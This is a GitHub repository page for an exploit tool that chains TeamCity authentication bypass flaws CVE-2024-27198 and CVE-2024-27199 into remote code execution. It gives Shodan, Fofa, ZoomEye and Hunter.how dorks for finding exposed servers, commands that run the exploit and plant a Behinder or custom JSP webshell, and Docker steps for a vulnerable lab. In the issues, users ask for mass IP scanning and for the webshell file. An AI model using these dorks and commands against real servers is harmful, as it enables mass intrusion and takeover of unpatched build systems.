w01fh4cker / cve-2024-27198-rce

CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4

Cyberspace Mapping Dork

Fofa

app="JET_BRAINS-TeamCity"

ZoomEye

app:"JetBrains TeamCity"

Hunter.how

product.name="TeamCity"

Shodan

http.component:"teamcity"

How to use

I'm using Python3.9.

pip install requests urllib3 faker
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4
# python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 -f shell.jsp

also:

python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111

Vulnerability recurrence environment construction

Use docker to pull the vulnerable image and start it:

sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
# sudo ufw disable

Then make basic settings:

Reference

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://github.com/Chocapikk/CVE-2024-27198

cve-2024-27198-rce's Issues

plz add multi ip.txt

hi.
plz add multi ip scan and save work.
thanks.

Invalid authentication request

[+] Token created successfully for user ID: 2

{'Server': 'nginx/1.14.0 (Ubuntu)', 'Date': 'Sun, 10 Mar 2024 04:01:57 GMT', 'Content-Type': 'text/plain;charset=UTF-8', 'Transfer-Encoding': 'chunked', 'Connection': 'keep-alive', 'TeamCity-Node-Id': 'MAIN_SERVER', 'WWW-Authenticate': 'Basic realm="TeamCity", Bearer realm="TeamCity"', 'Set-Cookie': 'TCSESSIONID=148890ADCDB824DCE5469324591E60D1; Path=/; Secure; HttpOnly', 'Cache-Control': 'no-store'}
b'Invalid authentication request or authentication scheme is not supported\nTo login manually go to "/login.html" page'
[-] Failed to modify internal properties. Status Code: 401

I get Invalid authentication request so I need more than the token here ? I logged the response

appreciated

Behinder

hello, no offense , can you upload behinder4 shell
thank you

Error

Hi.